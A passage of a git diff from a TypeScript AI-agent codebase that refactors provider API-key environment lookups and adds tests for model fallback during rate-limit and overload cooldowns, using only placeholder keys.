boolean }, +): boolean { + const trimmed = value.trim(); + if (!trimmed) { + return false; + } + const isKnownMarker = + trimmed === MINIMAX_OAUTH_MARKER || + trimmed === QWEN_OAUTH_MARKER || + trimmed === OLLAMA_LOCAL_AUTH_MARKER || + trimmed === NON_ENV_SECRETREF_MARKER || + isAwsSdkAuthMarker(trimmed); + if (isKnownMarker) { + return true; + } + if (opts?.includeEnvVarName === false) { + return false; + } + // Do not treat arbitrary ALL_CAPS values as markers; only recognize the + // known env-var markers we intentionally persist for compatibility. + return KNOWN_ENV_API_KEY_MARKERS.has(trimmed); +} diff --git a/src/agents/model-auth.profiles.test.ts b/src/agents/model-auth.profiles.test.ts index e2d9d09ab12..5fabcf2dcc6 100644 --- a/src/agents/model-auth.profiles.test.ts +++ b/src/agents/model-auth.profiles.test.ts @@ -7,6 +7,8 @@ import { withEnvAsync } from "../test-utils/env.js"; import { ensureAuthProfileStore } from "./auth-profiles.js"; import { getApiKeyForModel, resolveApiKeyForProvider, resolveEnvApiKey } from "./model-auth.js"; +const envVar = (...parts: string[]) => parts.join("_"); + const oauthFixture = { access: "access-token", refresh: "refresh-token", @@ -191,7 +193,7 @@ describe("getApiKeyForModel", () => { await withEnvAsync( { ZAI_API_KEY: undefined, - Z_AI_API_KEY: "zai-test-key", + Z_AI_API_KEY: "zai-test-key", // pragma: allowlist secret }, async () => { const resolved = await resolveApiKeyForProvider({ @@ -205,7 +207,8 @@ describe("getApiKeyForModel", () => { }); it("resolves Synthetic API key from env", async () => { - await withEnvAsync({ SYNTHETIC_API_KEY: "synthetic-test-key" }, async () => { + await withEnvAsync({ [envVar("SYNTHETIC", "API", "KEY")]: "synthetic-test-key" }, async () => { + // pragma: allowlist secret const resolved = await resolveApiKeyForProvider({ provider: "synthetic", store: { version: 1, profiles: {} }, @@ -216,7 +219,8 @@ describe("getApiKeyForModel", () => { }); it("resolves Qianfan API key from env", async () => { - await withEnvAsync({ QIANFAN_API_KEY: "qianfan-test-key" }, async () => { + await withEnvAsync({ [envVar("QIANFAN", "API", "KEY")]: "qianfan-test-key" }, async () => { + // pragma: allowlist secret const resolved = await resolveApiKeyForProvider({ provider: "qianfan", store: { version: 1, profiles: {} }, @@ -250,7 +254,8 @@ describe("getApiKeyForModel", () => { }); it("prefers explicit OLLAMA_API_KEY over synthetic local key", async () => { - await withEnvAsync({ OLLAMA_API_KEY: "env-ollama-key" }, async () => { + await withEnvAsync({ [envVar("OLLAMA", "API", "KEY")]: "env-ollama-key" }, async () => { + // pragma: allowlist secret const resolved = await resolveApiKeyForProvider({ provider: "ollama", store: { version: 1, profiles: {} }, @@ -283,7 +288,8 @@ describe("getApiKeyForModel", () => { }); it("resolves Vercel AI Gateway API key from env", async () => { - await withEnvAsync({ AI_GATEWAY_API_KEY: "gateway-test-key" }, async () => { + await withEnvAsync({ [envVar("AI_GATEWAY", "API", "KEY")]: "gateway-test-key" }, async () => { + // pragma: allowlist secret const resolved = await resolveApiKeyForProvider({ provider: "vercel-ai-gateway", store: { version: 1, profiles: {} }, @@ -296,9 +302,9 @@ describe("getApiKeyForModel", () => { it("prefers Bedrock bearer token over access keys and profile", async () => { await expectBedrockAuthSource({ env: { - AWS_BEARER_TOKEN_BEDROCK: "bedrock-token", + AWS_BEARER_TOKEN_BEDROCK: "bedrock-token", // pragma: allowlist secret AWS_ACCESS_KEY_ID: "access-key", - AWS_SECRET_ACCESS_KEY: "secret-key", + [envVar("AWS", "SECRET", "ACCESS", "KEY")]: "secret-key", // pragma: allowlist secret AWS_PROFILE: "profile", }, expectedSource: "AWS_BEARER_TOKEN_BEDROCK", @@ -310,7 +316,7 @@ describe("getApiKeyForModel", () => { env: { AWS_BEARER_TOKEN_BEDROCK: undefined, AWS_ACCESS_KEY_ID: "access-key", - AWS_SECRET_ACCESS_KEY: "secret-key", + [envVar("AWS", "SECRET", "ACCESS", "KEY")]: "secret-key", // pragma: allowlist secret AWS_PROFILE: "profile", }, expectedSource: "AWS_ACCESS_KEY_ID", @@ -330,7 +336,8 @@ describe("getApiKeyForModel", () => { }); it("accepts VOYAGE_API_KEY for voyage", async () => { - await withEnvAsync({ VOYAGE_API_KEY: "voyage-test-key" }, async () => { + await withEnvAsync({ [envVar("VOYAGE", "API", "KEY")]: "voyage-test-key" }, async () => { + // pragma: allowlist secret const voyage = await resolveApiKeyForProvider({ provider: "voyage", store: { version: 1, profiles: {} }, @@ -341,7 +348,8 @@ describe("getApiKeyForModel", () => { }); it("strips embedded CR/LF from ANTHROPIC_API_KEY", async () => { - await withEnvAsync({ ANTHROPIC_API_KEY: "sk-ant-test-\r\nkey" }, async () => { + await withEnvAsync({ [envVar("ANTHROPIC", "API", "KEY")]: "sk-ant-test-\r\nkey" }, async () => { + // pragma: allowlist secret const resolved = resolveEnvApiKey("anthropic"); expect(resolved?.apiKey).toBe("sk-ant-test-key"); expect(resolved?.source).toContain("ANTHROPIC_API_KEY"); diff --git a/src/agents/model-auth.test.ts b/src/agents/model-auth.test.ts index 86bc6bba5a0..943070960d3 100644 --- a/src/agents/model-auth.test.ts +++ b/src/agents/model-auth.test.ts @@ -7,7 +7,7 @@ describe("resolveAwsSdkEnvVarName", () => { const env = { AWS_BEARER_TOKEN_BEDROCK: "bearer", AWS_ACCESS_KEY_ID: "access", - AWS_SECRET_ACCESS_KEY: "secret", + AWS_SECRET_ACCESS_KEY: "secret", // pragma: allowlist secret AWS_PROFILE: "default", } as NodeJS.ProcessEnv; @@ -17,7 +17,7 @@ describe("resolveAwsSdkEnvVarName", () => { it("uses access keys when bearer token is missing", () => { const env = { AWS_ACCESS_KEY_ID: "access", - AWS_SECRET_ACCESS_KEY: "secret", + AWS_SECRET_ACCESS_KEY: "secret", // pragma: allowlist secret AWS_PROFILE: "default", } as NodeJS.ProcessEnv; diff --git a/src/agents/model-auth.ts b/src/agents/model-auth.ts index 734cd7b2666..b8b0ac9336b 100644 --- a/src/agents/model-auth.ts +++ b/src/agents/model-auth.ts @@ -16,6 +16,8 @@ import { resolveAuthProfileOrder, resolveAuthStorePathForDisplay, } from "./auth-profiles.js"; +import { PROVIDER_ENV_API_KEY_CANDIDATES } from "./model-auth-env-vars.js"; +import { OLLAMA_LOCAL_AUTH_MARKER } from "./model-auth-markers.js"; import { normalizeProviderId } from "./model-selection.js"; export { ensureAuthProfileStore, resolveAuthProfileOrder } from "./auth-profiles.js"; @@ -90,7 +92,7 @@ function resolveSyntheticLocalProviderAuth(params: { } return { - apiKey: "ollama-local", + apiKey: OLLAMA_LOCAL_AUTH_MARKER, source: "models.providers.ollama (synthetic local key)", mode: "api-key", }; @@ -281,20 +283,14 @@ export function resolveEnvApiKey(provider: string): EnvApiKeyResult | null { return { apiKey: value, source }; }; - if (normalized === "github-copilot") { - return pick("COPILOT_GITHUB_TOKEN") ?? pick("GH_TOKEN") ?? pick("GITHUB_TOKEN"); - } - - if (normalized === "anthropic") { - return pick("ANTHROPIC_OAUTH_TOKEN") ?? pick("ANTHROPIC_API_KEY"); - } - - if (normalized === "chutes") { - return pick("CHUTES_OAUTH_TOKEN") ?? pick("CHUTES_API_KEY"); - } - - if (normalized === "zai") { - return pick("ZAI_API_KEY") ?? pick("Z_AI_API_KEY"); + const candidates = PROVIDER_ENV_API_KEY_CANDIDATES[normalized]; + if (candidates) { + for (const envVar of candidates) { + const resolved = pick(envVar); + if (resolved) { + return resolved; + } + } } if (normalized === "google-vertex") { @@ -304,65 +300,7 @@ export function resolveEnvApiKey(provider: string): EnvApiKeyResult | null { } return { apiKey: envKey, source: "gcloud adc" }; } - - if (normalized === "opencode") { - return pick("OPENCODE_API_KEY") ?? pick("OPENCODE_ZEN_API_KEY"); - } - - if (normalized === "qwen-portal") { - return pick("QWEN_OAUTH_TOKEN") ?? pick("QWEN_PORTAL_API_KEY"); - } - - if (normalized === "volcengine" || normalized === "volcengine-plan") { - return pick("VOLCANO_ENGINE_API_KEY"); - } - - if (normalized === "byteplus" || normalized === "byteplus-plan") { - return pick("BYTEPLUS_API_KEY"); - } - if (normalized === "minimax-portal") { - return pick("MINIMAX_OAUTH_TOKEN") ?? pick("MINIMAX_API_KEY"); - } - - if (normalized === "kimi-coding") { - return pick("KIMI_API_KEY") ?? pick("KIMICODE_API_KEY"); - } - - if (normalized === "huggingface") { - return pick("HUGGINGFACE_HUB_TOKEN") ?? pick("HF_TOKEN"); - } - - const envMap: Record = { - openai: "OPENAI_API_KEY", - google: "GEMINI_API_KEY", - voyage: "VOYAGE_API_KEY", - groq: "GROQ_API_KEY", - deepgram: "DEEPGRAM_API_KEY", - cerebras: "CEREBRAS_API_KEY", - xai: "XAI_API_KEY", - openrouter: "OPENROUTER_API_KEY", - litellm: "LITELLM_API_KEY", - "vercel-ai-gateway": "AI_GATEWAY_API_KEY", - "cloudflare-ai-gateway": "CLOUDFLARE_AI_GATEWAY_API_KEY", - moonshot: "MOONSHOT_API_KEY", - minimax: "MINIMAX_API_KEY", - nvidia: "NVIDIA_API_KEY", - xiaomi: "XIAOMI_API_KEY", - synthetic: "SYNTHETIC_API_KEY", - venice: "VENICE_API_KEY", - mistral: "MISTRAL_API_KEY", - opencode: "OPENCODE_API_KEY", - together: "TOGETHER_API_KEY", - qianfan: "QIANFAN_API_KEY", - ollama: "OLLAMA_API_KEY", - vllm: "VLLM_API_KEY", - kilocode: "KILOCODE_API_KEY", - }; - const envVar = envMap[normalized]; - if (!envVar) { - return null; - } - return pick(envVar); + return null; } export function resolveModelAuthMode( diff --git a/src/agents/model-catalog.test.ts b/src/agents/model-catalog.test.ts index 5eec49f49b8..b891af4ed2d 100644 --- a/src/agents/model-catalog.test.ts +++ b/src/agents/model-catalog.test.ts @@ -238,9 +238,9 @@ describe("loadModelCatalog", () => { it("does not duplicate opted-in configured models already present in ModelRegistry", async () => { mockPiDiscoveryModels([ { - id: "anthropic/claude-opus-4.6", + id: "kilo/auto", provider: "kilocode", - name: "Claude Opus 4.6", + name: "Kilo Auto", }, ]); @@ -253,8 +253,8 @@ describe("loadModelCatalog", () => { api: "openai-completions", models: [ { - id: "anthropic/claude-opus-4.6", - name: "Configured Claude Opus 4.6", + id: "kilo/auto", + name: "Configured Kilo Auto", reasoning: true, input: ["text", "image"], cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, @@ -269,9 +269,9 @@ describe("loadModelCatalog", () => { }); const matches = result.filter( - (entry) => entry.provider === "kilocode" && entry.id === "anthropic/claude-opus-4.6", + (entry) => entry.provider === "kilocode" && entry.id === "kilo/auto", ); expect(matches).toHaveLength(1); - expect(matches[0]?.name).toBe("Claude Opus 4.6"); + expect(matches[0]?.name).toBe("Kilo Auto"); }); }); diff --git a/src/agents/model-fallback.probe.test.ts b/src/agents/model-fallback.probe.test.ts index f220646cf3d..bcb66628d66 100644 --- a/src/agents/model-fallback.probe.test.ts +++ b/src/agents/model-fallback.probe.test.ts @@ -53,7 +53,48 @@ function expectPrimaryProbeSuccess( expect(result.result).toBe(expectedResult); expect(run).toHaveBeenCalledTimes(1); expect(run).toHaveBeenCalledWith("openai", "gpt-4.1-mini", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, + }); +} + +async function expectProbeFailureFallsBack({ + reason, + probeError, +}: { + reason: "rate_limit" | "overloaded"; + probeError: Error & { status: number }; +}) { + const cfg = makeCfg({ + agents: { + defaults: { + model: { + primary: "openai/gpt-4.1-mini", + fallbacks: ["anthropic/claude-haiku-3-5", "google/gemini-2-flash"], + }, + }, + }, + } as Partial); + + mockedIsProfileInCooldown.mockReturnValue(true); + mockedGetSoonestCooldownExpiry.mockReturnValue(1_700_000_000_000 + 30 * 1000); + mockedResolveProfilesUnavailableReason.mockReturnValue(reason); + + const run = vi.fn().mockRejectedValueOnce(probeError).mockResolvedValue("fallback-ok"); + + const result = await runWithModelFallback({ + cfg, + provider: "openai", + model: "gpt-4.1-mini", + run, + }); + + expect(result.result).toBe("fallback-ok"); + expect(run).toHaveBeenCalledTimes(2); + expect(run).toHaveBeenNthCalledWith(1, "openai", "gpt-4.1-mini", { + allowTransientCooldownProbe: true, + }); + expect(run).toHaveBeenNthCalledWith(2, "anthropic", "claude-haiku-3-5", { + allowTransientCooldownProbe: true, }); } @@ -166,44 +207,16 @@ describe("runWithModelFallback – probe logic", () => { }); it("attempts non-primary fallbacks during rate-limit cooldown after primary probe failure", async () => { - const cfg = makeCfg({ - agents: { - defaults: { - model: { - primary: "openai/gpt-4.1-mini", - fallbacks: ["anthropic/claude-haiku-3-5", "google/gemini-2-flash"], - }, - }, - }, - } as Partial); - - // Override: ALL providers in cooldown for this test - mockedIsProfileInCooldown.mockReturnValue(true); - - // All profiles in cooldown, cooldown just about to expire - const almostExpired = NOW + 30 * 1000; // 30s remaining - mockedGetSoonestCooldownExpiry.mockReturnValue(almostExpired); - - // Primary probe fails with 429; fallback should still be attempted for rate_limit cooldowns. - const run = vi - .fn() - .mockRejectedValueOnce(Object.assign(new Error("rate limited"), { status: 429 })) - .mockResolvedValue("fallback-ok"); - - const result = await runWithModelFallback({ - cfg, - provider: "openai", - model: "gpt-4.1-mini", - run, + await expectProbeFailureFallsBack({ + reason: "rate_limit", + probeError: Object.assign(new Error("rate limited"), { status: 429 }), }); + }); - expect(result.result).toBe("fallback-ok"); - expect(run).toHaveBeenCalledTimes(2); - expect(run).toHaveBeenNthCalledWith(1, "openai", "gpt-4.1-mini", { - allowRateLimitCooldownProbe: true, - }); - expect(run).toHaveBeenNthCalledWith(2, "anthropic", "claude-haiku-3-5", { - allowRateLimitCooldownProbe: true, + it("attempts non-primary fallbacks during overloaded cooldown after primary probe failure", async () => { + await expectProbeFailureFallsBack({ + reason: "overloaded", + probeError: Object.assign(new Error("service overloaded"), { status: 503 }), }); }); @@ -326,10 +339,10 @@ describe("runWithModelFallback – probe logic", () => { }); expect(run).toHaveBeenNthCalledWith(1, "openai", "gpt-4.1-mini", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, }); expect(run).toHaveBeenNthCalledWith(2, "openai", "gpt-4.1-mini", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, }); }); }); diff --git a/src/agents/model-fallback.run-embedded.e2e.test.ts b/src/agents/model-fallback.run-embedded.e2e.test.ts new file mode 100644 index 00000000000..2e5a8202e95 --- /dev/null +++ b/src/agents/model-fallback.run-embedded.e2e.test.ts @@ -0,0 +1,479 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import type { AssistantMessage } from "@mariozechner/pi-ai"; +import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; +import type { AuthProfileFailureReason } from "./auth-profiles.js"; +import { runWithModelFallback } from "./model-fallback.js"; +import type { EmbeddedRunAttemptResult } from "./pi-embedded-runner/run/types.js"; + +const runEmbeddedAttemptMock = vi.fn<(params: unknown) => Promise>(); +const { computeBackoffMock, sleepWithAbortMock } = vi.hoisted(() => ({ + computeBackoffMock: vi.fn( + ( + _policy: { initialMs: number; maxMs: number; factor: number; jitter: number }, + _attempt: number, + ) => 321, + ), + sleepWithAbortMock: vi.fn(async (_ms: number, _abortSignal?: AbortSignal) => undefined), +})); + +vi.mock("./pi-embedded-runner/run/attempt.js", () => ({ + runEmbeddedAttempt: (params: unknown) => runEmbeddedAttemptMock(params), +})); + +vi.mock("../infra/backoff.js", () => ({ + computeBackoff: ( + policy: { initialMs: number; maxMs: number; factor: number; jitter: number }, + attempt: number, + ) => computeBackoffMock(policy, attempt), + sleepWithAbort: (ms: number, abortSignal?: AbortSignal) => sleepWithAbortMock(ms, abortSignal), +})); + +vi.mock("./models-config.js", async (importOriginal) => { + const mod = await importOriginal(); + return { + ...mod, + ensureOpenClawModelsJson: vi.fn(async () => ({ wrote: false })), + }; +}); + +let runEmbeddedPiAgent: typeof import("./pi-embedded-runner/run.js").runEmbeddedPiAgent; + +beforeAll(async () => { + ({ runEmbeddedPiAgent } = await import("./pi-embedded-runner/run.js")); +}); + +beforeEach(() => { + runEmbeddedAttemptMock.mockReset(); + computeBackoffMock.mockClear(); + sleepWithAbortMock.mockClear(); +}); + +const baseUsage = { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, +}; + +const OVERLOADED_ERROR_PAYLOAD = + '{"type":"error","error":{"type":"overloaded_error","message":"Overloaded"}}'; + +const buildAssistant = (overrides: Partial): AssistantMessage => ({ + role: "assistant", + content: [], + api: "openai-responses", + provider: "openai", + model: "mock-1", + usage: baseUsage, + stopReason: "stop", + timestamp: Date.now(), + ...overrides, +}); + +const makeAttempt = (overrides: Partial): EmbeddedRunAttemptResult => ({ + aborted: false, + timedOut: false, + timedOutDuringCompaction: false, + promptError: null, + sessionIdUsed: "session:test", + systemPromptReport: undefined, + messagesSnapshot: [], + assistantTexts: [], + toolMetas: [], + lastAssistant: undefined, + didSendViaMessagingTool: false, + messagingToolSentTexts: [], + messagingToolSentMediaUrls: [], + messagingToolSentTargets: [], + cloudCodeAssistFormatError: false, + ...overrides, +}); + +function makeConfig(): OpenClawConfig { + const apiKeyField = ["api", "Key"].join(""); + return { + agents: { + defaults: { + model: { + primary: "openai/mock-1", + fallbacks: ["groq/mock-2"], + }, + }, + }, + models: { + providers: { + openai: { + api: "openai-responses", + [apiKeyField]: "openai-test-key", // pragma: allowlist secret + baseUrl: "https://example.com/openai", + models: [ + { + id: "mock-1", + name: "Mock 1", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 16_000, + maxTokens: 2048, + }, + ], + }, + groq: { + api: "openai-responses", + [apiKeyField]: "groq-test-key", // pragma: allowlist secret + baseUrl: "https://example.com/groq", + models: [ + { + id: "mock-2", + name: "Mock 2", + reasoning: false, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 16_000, + maxTokens: 2048, + }, + ], + }, + }, + }, + } satisfies OpenClawConfig; +} + +async function withAgentWorkspace( + fn: (ctx: { agentDir: string; workspaceDir: string }) => Promise, +): Promise { + const root = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-model-fallback-")); + const agentDir = path.join(root, "agent"); + const workspaceDir = path.join(root, "workspace"); + await fs.mkdir(agentDir, { recursive: true }); + await fs.mkdir(workspaceDir, { recursive: true }); + try { + return await fn({ agentDir, workspaceDir }); + } finally { + await fs.rm(root, { recursive: true, force: true }); + } +} + +async function writeAuthStore( + agentDir: string, + usageStats?: Record< + string, + { + lastUsed?: number; + cooldownUntil?: number; + disabledUntil?: number; + disabledReason?: AuthProfileFailureReason; + failureCounts?: Partial>; + } + >, +) { + await fs.writeFile( + path.join(agentDir, "auth-profiles.json"), + JSON.stringify({ + version: 1, + profiles: { + "openai:p1": { type: "api_key", provider: "openai", key: "sk-openai" }, + "groq:p1": { type: "api_key", provider: "groq", key: "sk-groq" }, + }, + usageStats: + usageStats ?? + ({ + "openai:p1": { lastUsed: 1 }, + "groq:p1": { lastUsed: 2 }, + } as const), + }), + ); +} + +async function readUsageStats(agentDir: string) { + const raw = await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"); + return JSON.parse(raw).usageStats as Record | undefined>; +} + +async function runEmbeddedFallback(params: { + agentDir: string; + workspaceDir: string; + sessionKey: string; + runId: string; + abortSignal?: AbortSignal; +}) { + const cfg = makeConfig(); + return await runWithModelFallback({ + cfg, + provider: "openai", + model: "mock-1", + agentDir: params.agentDir, + run: (provider, model, options) => + runEmbeddedPiAgent({ + sessionId: `session:${params.runId}`, + sessionKey: params.sessionKey, + sessionFile: path.join(params.workspaceDir, `${params.runId}.jsonl`), + workspaceDir: params.workspaceDir, + agentDir: params.agentDir, + config: cfg, + prompt: "hello", + provider, + model, + authProfileIdSource: "auto", + allowTransientCooldownProbe: options?.allowTransientCooldownProbe, + timeoutMs: 5_000, + runId: params.runId, + abortSignal: params.abortSignal, + }), + }); +} + +function mockPrimaryOverloadedThenFallbackSuccess() { + mockPrimaryErrorThenFallbackSuccess(OVERLOADED_ERROR_PAYLOAD); +} + +function mockPrimaryErrorThenFallbackSuccess(errorMessage: string) { + runEmbeddedAttemptMock.mockImplementation(async (params: unknown) => { + const attemptParams = params as { provider: string; modelId: string; authProfileId?: string }; + if (attemptParams.provider === "openai") { + return makeAttempt({ + assistantTexts: [], + lastAssistant: buildAssistant({ + provider: "openai", + model: "mock-1", + stopReason: "error", + errorMessage, + }), + }); + } + if (attemptParams.provider === "groq") { + return makeAttempt({ + assistantTexts: ["fallback ok"], + lastAssistant: buildAssistant({ + provider: "groq", + model: "mock-2", + stopReason: "stop", + content: [{ type: "text", text: "fallback ok" }], + }), + }); + } + throw new Error(`Unexpected provider ${attemptParams.provider}`); + }); +} + +function expectOpenAiThenGroqAttemptOrder(params?: { expectOpenAiAuthProfileId?: string }) { + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); + const firstCall = runEmbeddedAttemptMock.mock.calls[0]?.[0] as + | { provider?: string; authProfileId?: string } + | undefined; + const secondCall = runEmbeddedAttemptMock.mock.calls[1]?.[0] as { provider?: string } | undefined; + expect(firstCall).toBeDefined(); + expect(secondCall).toBeDefined(); + expect(firstCall?.provider).toBe("openai"); + if (params?.expectOpenAiAuthProfileId) { + expect(firstCall?.authProfileId).toBe(params.expectOpenAiAuthProfileId); + } + expect(secondCall?.provider).toBe("groq"); +} + +function mockAllProvidersOverloaded() { + runEmbeddedAttemptMock.mockImplementation(async (params: unknown) => { + const attemptParams = params as { provider: string; modelId: string; authProfileId?: string }; + if (attemptParams.provider === "openai" || attemptParams.provider === "groq") { + return makeAttempt({ + assistantTexts: [], + lastAssistant: buildAssistant({ + provider: attemptParams.provider, + model: attemptParams.provider === "openai" ? "mock-1" : "mock-2", + stopReason: "error", + errorMessage: OVERLOADED_ERROR_PAYLOAD, + }), + }); + } + throw new Error(`Unexpected provider ${attemptParams.provider}`); + }); +} + +describe("runWithModelFallback + runEmbeddedPiAgent overload policy", () => { + it("falls back across providers after overloaded primary failure and persists transient cooldown", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + mockPrimaryOverloadedThenFallbackSuccess(); + + const result = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-cross-provider", + runId: "run:overloaded-cross-provider", + }); + + expect(result.provider).toBe("groq"); + expect(result.model).toBe("mock-2"); + expect(result.attempts[0]?.reason).toBe("overloaded"); + expect(result.result.payloads?.[0]?.text ?? "").toContain("fallback ok"); + + const usageStats = await readUsageStats(agentDir); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(usageStats["openai:p1"]?.failureCounts).toMatchObject({ overloaded: 1 }); + expect(typeof usageStats["groq:p1"]?.lastUsed).toBe("number"); + + expectOpenAiThenGroqAttemptOrder(); + expect(computeBackoffMock).toHaveBeenCalledTimes(1); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(1); + }); + }); + + it("surfaces a bounded overloaded summary when every fallback candidate is overloaded", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + mockAllProvidersOverloaded(); + + let thrown: unknown; + try { + await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:all-overloaded", + runId: "run:all-overloaded", + }); + } catch (err) { + thrown = err; + } + + expect(thrown).toBeInstanceOf(Error); + expect((thrown as Error).message).toMatch(/^All models failed \(2\): /); + expect((thrown as Error).message).toMatch( + /openai\/mock-1: .* \(overloaded\) \| groq\/mock-2: .* \(overloaded\)/, + ); + + const usageStats = await readUsageStats(agentDir); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(typeof usageStats["groq:p1"]?.cooldownUntil).toBe("number"); + expect(usageStats["openai:p1"]?.failureCounts).toMatchObject({ overloaded: 1 }); + expect(usageStats["groq:p1"]?.failureCounts).toMatchObject({ overloaded: 1 }); + expect(usageStats["openai:p1"]?.disabledUntil).toBeUndefined(); + expect(usageStats["groq:p1"]?.disabledUntil).toBeUndefined(); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); + expect(computeBackoffMock).toHaveBeenCalledTimes(2); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(2); + }); + }); + + it("probes a provider already in overloaded cooldown before falling back", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + const now = Date.now(); + await writeAuthStore(agentDir, { + "openai:p1": { + lastUsed: 1, + cooldownUntil: now + 60_000, + failureCounts: { overloaded: 2 }, + }, + "groq:p1": { lastUsed: 2 }, + }); + mockPrimaryOverloadedThenFallbackSuccess(); + + const result = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-probe-fallback", + runId: "run:overloaded-probe-fallback", + }); + + expect(result.provider).toBe("groq"); + expectOpenAiThenGroqAttemptOrder({ expectOpenAiAuthProfileId: "openai:p1" }); + }); + }); + + it("persists overloaded cooldown across turns while still allowing one probe and fallback", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + mockPrimaryOverloadedThenFallbackSuccess(); + + const firstResult = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-two-turns:first", + runId: "run:overloaded-two-turns:first", + }); + + expect(firstResult.provider).toBe("groq"); + + runEmbeddedAttemptMock.mockClear(); + computeBackoffMock.mockClear(); + sleepWithAbortMock.mockClear(); + + mockPrimaryOverloadedThenFallbackSuccess(); + + const secondResult = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-two-turns:second", + runId: "run:overloaded-two-turns:second", + }); + + expect(secondResult.provider).toBe("groq"); + expectOpenAiThenGroqAttemptOrder({ expectOpenAiAuthProfileId: "openai:p1" }); + + const usageStats = await readUsageStats(agentDir); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(usageStats["openai:p1"]?.failureCounts).toMatchObject({ overloaded: 2 }); + expect(computeBackoffMock).toHaveBeenCalledTimes(1); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(1); + }); + }); + + it("keeps bare service-unavailable failures in the timeout lane without persisting cooldown", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + mockPrimaryErrorThenFallbackSuccess("LLM error: service unavailable"); + + const result = await runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:timeout-cross-provider", + runId: "run:timeout-cross-provider", + }); + + expect(result.provider).toBe("groq"); + expect(result.attempts[0]?.reason).toBe("timeout"); + + const usageStats = await readUsageStats(agentDir); + expect(usageStats["openai:p1"]?.cooldownUntil).toBeUndefined(); + expect(usageStats["openai:p1"]?.failureCounts).toBeUndefined(); + expect(computeBackoffMock).not.toHaveBeenCalled(); + expect(sleepWithAbortMock).not.toHaveBeenCalled(); + }); + }); + + it("rethrows AbortError during overload backoff instead of falling through fallback", async () => { + await withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + const controller = new AbortController(); + mockPrimaryOverloadedThenFallbackSuccess(); + sleepWithAbortMock.mockImplementationOnce(async () => { + controller.abort(); + throw new Error("aborted"); + }); + + await expect( + runEmbeddedFallback({ + agentDir, + workspaceDir, + sessionKey: "agent:test:overloaded-backoff-abort", + runId: "run:overloaded-backoff-abort", + abortSignal: controller.signal, + }), + ).rejects.toMatchObject({ + name: "AbortError", + message: "Operation aborted", + }); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1); + const firstCall = runEmbeddedAttemptMock.mock.calls[0]?.[0] as + | { provider?: string } + | undefined; + expect(firstCall?.provider).toBe("openai"); + }); + }); +}); diff --git a/src/agents/model-fallback.test.ts b/src/agents/model-fallback.test.ts index 69a9ba01a29..6379d6e0222 100644 --- a/src/agents/model-fallback.test.ts +++ b/src/agents/model-fallback.test.ts @@ -1062,7 +1062,7 @@ describe("runWithModelFallback", () => { describe("fallback behavior with provider cooldowns", () => { async function makeAuthStoreWithCooldown( provider: string, - reason: "rate_limit" | "auth" | "billing", + reason: "rate_limit" | "overloaded" | "auth" | "billing", ): Promise<{ store: AuthProfileStore; dir: string }> { const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-test-")); const now = Date.now(); @@ -1073,12 +1073,12 @@ describe("runWithModelFallback", () => { }, usageStats: { [`${provider}:default`]: - reason === "rate_limit" + reason === "rate_limit" || reason === "overloaded" ? { - // Real rate-limit cooldowns are tracked through cooldownUntil - // and failureCounts, not disabledReason. + // Transient cooldown reasons are tracked through + // cooldownUntil and failureCounts, not disabledReason. cooldownUntil: now + 300000, - failureCounts: { rate_limit: 1 }, + failureCounts: { [reason]: 1 }, } : { // Auth/billing issues use disabledUntil @@ -1117,7 +1117,37 @@ describe("runWithModelFallback", () => { expect(result.result).toBe("sonnet success"); expect(run).toHaveBeenCalledTimes(1); // Primary skipped, fallback attempted expect(run).toHaveBeenNthCalledWith(1, "anthropic", "claude-sonnet-4-5", { - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, + }); + }); + + it("attempts same-provider fallbacks during overloaded cooldown", async () => { + const { dir } = await makeAuthStoreWithCooldown("anthropic", "overloaded"); + const cfg = makeCfg({ + agents: { + defaults: { + model: { + primary: "anthropic/claude-opus-4-6", + fallbacks: ["anthropic/claude-sonnet-4-5", "groq/llama-3.3-70b-versatile"], + }, + }, + }, + }); + + const run = vi.fn().mockResolvedValueOnce("sonnet success"); + + const result = await runWithModelFallback({ + cfg, + provider: "anthropic", + model: "claude-opus-4-6", + run, + 